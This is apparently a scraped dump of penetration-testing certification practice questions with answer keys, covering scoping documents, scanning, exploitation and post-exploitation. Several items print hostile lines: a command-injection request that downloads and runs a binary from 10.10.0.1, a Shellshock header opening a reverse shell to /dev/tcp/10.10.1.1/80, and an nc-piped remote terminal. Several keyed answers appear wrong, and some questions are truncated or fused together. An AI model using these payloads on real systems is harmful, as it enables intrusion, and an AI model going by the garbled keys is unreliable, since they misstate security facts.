QUESTION 4 A software company has hired a penetration tester to perform a penetration test on a database server. The tester has been given a variety of tools used by the company\\’s privacy policy. Which of the following would be the BEST to use to find vulnerabilities on this server? A. OpenVAS B. Nikto C. SQLmap D. Nessus Correct Answer: C Reference: https://phoenixnap.com/blog/best-penetration-testing-tools
QUESTION 5 When negotiating a penetration testing contract with a prospective client, which of the following disclaimers should be included in order to mitigate liability in case of a future breach of the client\\’s systems? A. The proposed mitigations and remediations in the final report do not include a cost-benefit analysis. B. The NDA protects the consulting firm from future liabilities in the event of a breach. C. The assessment reviewed the cyber key terrain and most critical assets of the client\\’s network. D. The penetration test is based on the state of the system and its configuration at the time of assessment. Correct Answer: D
QUESTION 6 A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized: exploit = “POST “ exploit += “/cgi-bin/index.cgi?action=loginandPath=%27%0A/bin/sh${IFS} – c${IFS}\\’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache\\’% 0A%27andloginUser=aandPwd=a” exploit += “HTTP/1.1” Which of the following commands should the penetration tester run post-engagement? A. grep –v apache ~/.bash_history > ~/.bash_history B. rm –rf /tmp/apache C. chmod 600 /tmp/apache D. taskkill /IM “apache” /F Correct Answer: B
QUESTION 7 Place each of the following passwords in order of complexity from least complex (1) to most complex (4), based on the character sets represented Each password may be used only once. Select and Place:
Correct Answer:
QUESTION 8 Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester? A. NDA B. MSA C. SOW D. MOU Correct Answer: C
QUESTION 9 A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen. A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client\\’s VM. Which of the following cloud attacks did the penetration tester MOST likely implement? A. Direct-to-origin B. Cross-site scripting C. Malware injection D. Credential harvesting Correct Answer: A
QUESTION 10 Performing a penetration test against an environment with SCADA devices brings additional safety risk because the: A. devices produce more heat and consume more power. B. devices are obsolete and are no longer available for replacement. C. protocols are more difficult to understand. D. devices may cause physical world effects. Correct Answer: C Reference: https://www.hindawi.com/journals/scn/2018/3794603/
QUESTION 11 A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following: Pre-engagement interaction (scoping and ROE) Intelligence gathering (reconnaissance) Threat modeling Vulnerability analysis Exploitation and post exploitation Reporting Which of the following methodologies does the client use? A. OWASP Web Security Testing Guide B. PTES technical guidelines C. NIST SP 800-115 D. OSSTMM Correct Answer: B Reference: https://kirkpatrickprice.com/blog/stages-of-penetration-testing-according-to-ptes/
QUESTION 12 A penetration tester wants to target NETBIOS name service. Which of the following is the most likely command to exploit the NETBIOS name service? A. arPspoof B. nmap C. responder D. burpsuite Correct Answer: B Reference: http://www.hackingarticles.in/netbios-and-smb-penetration-testing-on-windows/
QUESTION 13 A penetration tester conducted a vulnerability scan against a client\\’s critical servers and found the following:
Which of the following would be a recommendation for remediation? A. Deploy a user training program B. Implement a patch management plan C. Utilize the secure software development life cycle D. Configure access controls on each of the servers Correct Answer: B
QUESTION 14 A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective? A. Wait for the next login and perform a downgrade attack on the server. B. Capture traffic using Wireshark. C. Perform a brute-force attack over the server. D. Use an FTP exploit against the server. Correct Answer: B Reference: https://shahmeeramir.com/penetration-testing-of-an-ftp-server-19afe538be4b
QUESTION 15 Which of the following documents BEST describes the manner in which a security assessment will be conducted? A. BIA B. SOW C. SLA D. MSA Correct Answer: A
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QUESTION 1 A penetration tester is performing an annual security assessment for a repeat client The tester finds indicators of previous compromise Which of the following would be the most logical steps to follow NEXT? A. Report the incident to the tester\\’s immediate manager and follow up with the client immediately B. Report the incident to the clients Chief Information Security Officer (CISO) immediately and alter the terms of engagement accordingly C. Report the incident to the client\\’s legal department and then follow up with the client\\’s security operations team D. Make note of the anomaly, continue with the penetration testing and detail it in the final report Correct Answer: A
QUESTION 2 An energy company contracted a security firm to perform a penetration test of a power plant, which employs ICS to manage power generation and cooling. Which of the following is a consideration unique to such an environment that must be made by the firm when preparing for the assessment? A. Selection of the appropriate set of security testing tools B. Current and load ratings of the ICS components C. Potential operational and safety hazards D. Electrical certification of hardware used in the test Correct Answer: A
QUESTION 3 A penetration tester has performed a pivot to a new Linux device on a different network. The tester writes the following command: for m in {1..254..1};do ping -c 1 192.168.101.$m; done Which of the following BEST describes the result of running this command? A. Port scan B. Service enumeration C. Live host identification D. Denial of service Correct Answer: C
QUESTION 4 During a full-scope security assessment, which of the following is a prerequisite to social engineer a target by physically engaging them? A. Locating emergency exits B. Preparing a pretext C. Shoulder surfing the victim D. Tailgating the victim Correct Answer: B
QUESTION 5 A company has engaged a penetration tester to perform an assessment for an application that resides in the company\\’s DMZ. Prior to conducting testing, in which of the following solutions should the penetration tester\\’s IP address be whitelisted? A. WAF B. HIDS C. NIDS D. DLP Correct Answer: C
QUESTION 6 A penetration tester is perform initial intelligence gathering on some remote hosts prior to conducting a vulnerability A. The network is submitted as a /25 or greater and the tester needed to access hosts on two different subnets B. The tester is trying to perform a more stealthy scan by including several bogus addresses C. The scanning machine has several interfaces to balance the scan request across at the specified rate D. A discovery scan is run on the first set of addresses, whereas a deeper, more aggressive scan is run against the latter host. Correct Answer: B
QUESTION 7 A penetration tester is reviewing the following output from a wireless sniffer:
Which of the following can be extrapolated from the above information? A. Hardware vendor B. Channel interference C. Usernames D. Key strength Correct Answer: C
QUESTION 8 A vulnerability scan identifies that an SSL certificate does not match the hostname; however, the client disputes the finding. Which of the following techniques can the penetration tester perform to adjudicate the validity of the findings? A. Ensure the scanner can make outbound DNS requests. B. Ensure the scanner is configured to perform ARP resolution. C. Ensure the scanner is configured to analyze IP hosts. D. Ensure the scanner has the proper plug -ins loaded. Correct Answer: A
QUESTION 9 A penetration tester ran an Nmap scan against a target and received the following output:
Which of the following commands would be best for the penetration tester to execute NEXT to discover any weaknesses or vulnerabilities? A. onesixtyone ? 192.168.121.1 B. enum4linux ? 192.168.121.1 C. snmpwalk ? public 192.168.121.1 D. medusa ? 192.168.121.1 ? users.txt ? passwords.txt ? ssh Correct Answer: C
QUESTION 10 During a penetration test, a tester identifies traditional antivirus running on the exploited server. Which of the following techniques would BEST ensure persistence in a post-exploitation phase? A. Shell binary placed in C:\windows\temp B. Modified daemons C. New user creation D. Backdoored executables Correct Answer: B
QUESTION 11 A penetration tester has run multiple vulnerability scans against a target system. Which of the following would be unique to a credentialed scan? A. Exploits for vulnerabilities found B. Detailed service configurations C. Unpatched third-party software D. Weak access control configurations Correct Answer: A
QUESTION 12 After several attempts, an attacker was able to gain unauthorized access through a biometric sensor using the attacker\\’s actual fingerprint without exploitation. Which of the following is the MOST likely of what happened? A. The biometric device is tuned more toward false positives B. The biometric device is configured more toward true negatives C. The biometric device is set to fail closed D. The biometnc device duplicated a valid user\\’s fingerpnnt. Correct Answer: A
QUESTION 13 Which of the following types of intrusion techniques is the use of an “under-the-door tool” during a physical security assessment an example of? A. Lockpicking B. Egress sensor triggering C. Lock bumping D. Lock bypass Correct Answer: D Reference: https://www.triaxiomsecurity.com/2018/08/16/physical-penetration-test- examples/
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QUESTION 1 Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester? A. NDA B. MSA C. SOW D. MOU Correct Answer: C
QUESTION 2 An attacker performed a MITM attack against a mobile application. The attacker is attempting to manipulate the application\\’s network traffic via a proxy tool. The attacker only sees limited traffic as cleartext. The application log files indicate secure SSL/TLS connections are failing. Which of the following is MOST likely preventing proxying of all traffic? A. Misconfigured routes B. Certificate pinning C. Strong cipher suites D. Closed ports Correct Answer: B
QUESTION 3 A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following: Pre-engagement interaction (scoping and ROE) Intelligence gathering (reconnaissance) Threat modeling Vulnerability analysis Exploitation and post exploitation Reporting Which of the following methodologies does the client use? A. OWASP Web Security Testing Guide B. PTES technical guidelines C. NIST SP 800-115 D. OSSTMM Correct Answer: B Reference: https://kirkpatrickprice.com/blog/stages-of-penetration-testing-according-to-ptes/
QUESTION 4 A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are: Which of the following is the BEST method to help an attacker gain internal access to the affected machine?
A. Edit the discovered file with one line of code for remote callback B. Download .pl files and look for usernames and passwords C. Edit the smb.conf file and upload it to the server D. Download the smb.conf file and look at configurations Correct Answer: C
QUESTION 5 When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character combinations should be used on the first line of the script to accomplish this goal? A. and1”, “Accept”: “text/html,application/xhtml+xml,application/xml”} Which of the following edits should the tester make to the script to determine the user context in which the server is being run? A. exploits = {“User-Agent”: “() { ignored;};/bin/bash –i id;whoami”, “Accept”: “text/html,application/xhtml+xml,application/xml”} B. exploits = {“User-Agent”: “() { ignored;};/bin/bash –i>and find / -perm -4000”, “Accept”: “text/html,application/xhtml+xml,application/xml”} C. exploits = {“User-Agent”: “() { ignored;};/bin/sh –i ps –ef” 0>and1”, “Accept”: “text/html,application/xhtml+xml,application/xml”} D. exploits = {“User-Agent”: “() { ignored;};/bin/bash –i>and /dev/tcp/10.10.1.1/80” 0>and1”, “Accept”: “text/html,application/xhtml+xml,application/xml”} Correct Answer: D
QUESTION 6 A manager calls upon a tester to assist with diagnosing an issue within the following: Python script: #!/usr/bin/python s = “Administrator” The tester suspects it is an issue with string slicing and manipulation Analyze the following code segment and drag and drop the correct output for each string manipulation to its corresponding code segment Options may be used once or not at all. Select and Place:
Correct Answer:
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QUESTION 1 Which of the following can be used to perform online password attacks against RDP? A. Hashcat B. John the Rippef C. Aircrack-ng D. Ncrack Correct Answer: D
QUESTION 2 During an engagement, an unsecured direct object reference vulnerability was discovered that allows the extraction of highly sensitive PII. The tester is required to extract and then exfil the information from a web application with identifiers 1 through 1000 inclusive. When running the following script, an error is encountered:
Which of the following lines of code is causing the problem? A. url = “https://www.comptia.org?id=” B. req = requests.get(url) C. if req.status ==200: D. url += i Correct Answer: D
QUESTION 3 A penetration tester wants to launch a graphic console window from a remotely compromised host with IP 10.0.0.20 and display the terminal on the local computer with IP 192.168.1.10. Which of the following would accomplish this task? A. From the remote computer, run the following commands: Export IHOST 192.168.1.10:0.0 xhost+ Terminal B. From the local computer, run the following command ssh -L4444: 127.0.01:6000 -% [email protected] xterm C. From the local computer, run the following command ssh -r6000: 127.0.01:4444 -p 6000 [email protected] “xhost+; xterm” D. From the local computer, run the following command: NC -lp 6000 Then, from the remote computer, run the following command: xterm | NC 192.168.1.10 6000 Correct Answer: D
QUESTION 4 A penetration tester is able to move laterally throughout a domain with minimal roadblocks after compromising a single workstation. Which of the following mitigation strategies would be BEST to recommend in the report? (Select THREE). A. Randomize local administrator credentials for each machine. B. Disable remote logins for local administrators. C. Require multifactor authentication for all logins. D. Increase minimum password complexity requirements. E. Apply additional network access control. F. Enable full-disk encryption on every workstation. G. Segment each host into its own VLAN. Correct Answer: CDE
QUESTION 5 A penetration tester observes that several high numbered ports are listening on a public webserver. However, the system owner says the application only uses port 443. Which of the following would be BEST to recommend? A. Transition the application to another port B. Filter port 443 to specific IP addresses C. Implement a web application firewall D. Disable unneeded services. Correct Answer: D
QUESTION 6 A penetration tester discovers an anonymous FTP server that is sharing the C:\drive. Which of the following is the BEST exploit? A. Place a batch script in the startup folder for all users. B. Change a service binary location path to point to the tester\\’s own payload. C. Escalate the tester\\’s privileges to SYSTEM using the at.exe command. D. Download, modify and reupload a compromised registry to obtain code execution. Correct Answer: B
QUESTION 7 Place each of the following passwords in order of complexity from least complex (1) to most complex (4), based on the character sets represented Each password may be used only once. Select and Place:
Correct Answer:
QUESTION 8 A company planned for and secured the budget to hire a consultant to perform a web application penetration test. Upon discovering vulnerabilities, the company asked the consultant to perform the following tasks: 1. Code review 2. Updates to firewall settings Which of the following has occurred in this situation? A. Scope creep B. Post-mortem review C. Risk acceptance D. Threat prevention Correct Answer: A
QUESTION 10 A penetration tester is performing a code review against a web application Given the following URL and source code:
Which of the following vulnerabilities is present in the code above? A. SQL injection B. Cross-site scripting C. Command injection D. LDAP injection Correct Answer: C
QUESTION 11 A consultant is identifying versions of Windows operating systems on a network Which of the following Nmap commands should the consultant run? A. nmap -T4 -v -sU -iL /tmp/list.txt -Pn –script smb-system-info B. nmap -T4 -v -iL /tmp/list .txt -Pn –script smb-os-disccvery C. nmap -T4 -v -6 -iL /tmp/liat.txt -Pn –script smb-os-discovery -p 135-139 D. nmap -T4 -v –script smb-system-info 192.163.1.0/24 Correct Answer: B
QUESTION 12 Which of the following situations would cause a penetration tester to communicate with a system owner/client during the course of a test? (Select TWO) A. The tester discovers personally identifiable data on the system B. The system shows evidence of prior unauthorized compromise C. The system shows a lack of hardening throughout D. The system becomes unavailable following an attempted exploit E. The tester discovers a finding on an out-of-scope system Correct Answer: BD
QUESTION 13 A penetration tester wants to script out a way to discover all the RPTR records for a range of IP addresses. Which of the following is the MOST efficient to utilize? A. nmap -p 53 -oG dnslist.txt | cut -d “:” -f 4 B. nslookup -ns 8.8.8.8 echo “8.8.8.8” >> /etc/resolv/conf Correct Answer: A
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